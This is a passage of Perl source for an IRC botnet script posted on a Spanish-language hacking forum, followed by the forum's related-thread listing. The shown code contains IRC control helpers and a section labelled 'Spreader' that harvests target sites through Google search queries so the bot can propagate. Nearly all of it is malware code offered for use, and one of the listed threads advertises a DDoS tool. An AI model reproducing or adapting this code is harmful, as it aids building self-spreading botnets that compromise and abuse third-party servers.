  1160.     last if $cur_time >= $ftime;
  1161.  
  1162.     }
  1163.  
  1164. return($cur_time, %packets);
  1165.  
  1166. }
  1167.  
  1168.  
  1169.  
  1170. sub ctcp {
  1171.  
  1172.     return unless $#_ == 1;
  1173.  
  1174.     sendraw("PRIVMSG $_[0] :001$_[1]001");
  1175.  
  1176. }
  1177.  
  1178. sub msg {
  1179.  
  1180.     return unless $#_ == 1;
  1181.  
  1182.     sendraw("PRIVMSG $_[0] :$_[1]");
  1183.  
  1184. }  
  1185.  
  1186. sub notice {
  1187.  
  1188.     return unless $#_ == 1;
  1189.  
  1190.     sendraw("NOTICE $_[0] :$_[1]");
  1191.  
  1192. }
  1193.  
  1194. sub op {
  1195.  
  1196.     return unless $#_ == 1;
  1197.  
  1198.     sendraw("MODE $_[0] +o $_[1]");
  1199.  
  1200. }
  1201.  
  1202. sub deop {
  1203.  
  1204.     return unless $#_ == 1;
  1205.  
  1206.     sendraw("MODE $_[0] -o $_[1]");
  1207.  
  1208. }
  1209.  
  1210. sub j { &join(@_); }
  1211.  
  1212. sub join {
  1213.  
  1214.     return unless $#_ == 0;
  1215.  
  1216.     sendraw("JOIN $_[0]");
  1217.  
  1218. }
  1219.  
  1220.     sub p { part(@_); }
  1221.  
  1222.     sub part {
  1223.  
  1224.     sendraw("PART $_[0]");
  1225.  
  1226. }
  1227.  
  1228. sub nick {
  1229.  
  1230.     return unless $#_ == 0;
  1231.  
  1232.     sendraw("NICK $_[0]");
  1233.  
  1234. }
  1235.  
  1236. sub quit {
  1237.  
  1238.     sendraw("QUIT :$_[0]");
  1239.  
  1240. }
  1241.  
  1242.  
  1243.  
  1244. # Spreader
  1245.  
  1246. # this 'spreader' code isnt mine, i dont know who coded it.
  1247.  
  1248. # update: well, i just fix0red this shit a bit.
  1249.  
  1250. # update2: Dunno what you fix0red, but surely it wasnt the spreader, now its workin...
  1251.  
  1252.  
  1253.  
  1254. sub fetch(){
  1255.  
  1256.     my $rnd=(int(rand(9999)));
  1257.  
  1258.     my $n= 80;
  1259.  
  1260.     if ($rnd<5000) { $n<<=1;}
  1261.  
  1262.     my $s= (int(rand(10)) * $n);
  1263.  
  1264.     my @domains = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
  1265.  
  1266.     "py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
  1267.  
  1268.     "af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
  1269.  
  1270.     "vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
  1271.  
  1272.     "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
  1273.  
  1274.     "iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
  1275.  
  1276.     "ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
  1277.  
  1278.     "na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",
  1279.  
  1280.     "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
  1281.  
  1282.     "vu","vn","ye","yu","cd","zm","zw","");
  1283.  
  1284.     my @str;
  1285.  
  1286.     foreach $dom  (@domains) {
  1287.  
  1288.         push (@str,"$tehsearch");
  1289.  
  1290.     }
  1291.  
  1292.     my $query="www.google.com/search?q=";
  1293.  
  1294.     $query.=$str[(rand(scalar(@str)))];
  1295.  
  1296.     $query.="&num=$n&start=$s";
  1297.  
  1298.     my @lst=();
  1299.  
  1300.     my $page = http_query($query);
  1301.  
  1302.     while ($page =~  m/<a class=l href="?http://([^>"]+)"?>/g){
  1303.  
  1304.     if ($1 !~ m/google|cache|translate/){
  1305.  
  1306.         push (@lst,$1);
  1307.  
  1308.         }
  1309.  
  1310.     }
  1311.  
  1312. return (@lst);
  1313.  
  1314. }
  1315.  
  1316.  
  1317.  
  1318. sub http_query($){
  1319.  
  1320.     my ($url) = @_;
  1321.  
  1322.     my $host=$url;
  1323.  
  1324.     my $query=$url;
  1325.  
  1326.     my $page="";
  1327.  
  1328.     $host =~ s/href="?http:////;
  1329.  
  1330.     $host =~ s/([-a-zA-Z0-9.]+)/.*/$1/;
  1331.  
  1332.     $query =~s/$host//;
  1333.  
  1334.     if ($query eq "") {$query="/";};
  1335.  
  1336.     eval {
  1337.  
  1338.         local $SIG{ALRM} = sub { die "1";};
  1339.  
  1340.         alarm 10;
  1341.  
  1342.         my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1343.  
  1344.         print $sock "GET $query HTTP/1.0rnHost: $hostrnAccept: */*rnUser-Agent: Mozilla/5.0rnrn";
  1345.  
  1346.         my @r = <$sock>;
  1347.  
  1348.         $page="@r";
  1349.  
  1350.         alarm 0;
  1351.  
  1352.         close($sock);
  1353.  
  1354.     };    
  1355.  
  1356. return $page;
  1357.  
  1358. }
« Última modificación: Marzo 14, 2015, 09:51:59 am por Expermicid »
Me cambie de messenger ahora es: edeex@live.comYou are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3004
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1409
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1551
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 1095
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 1236
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear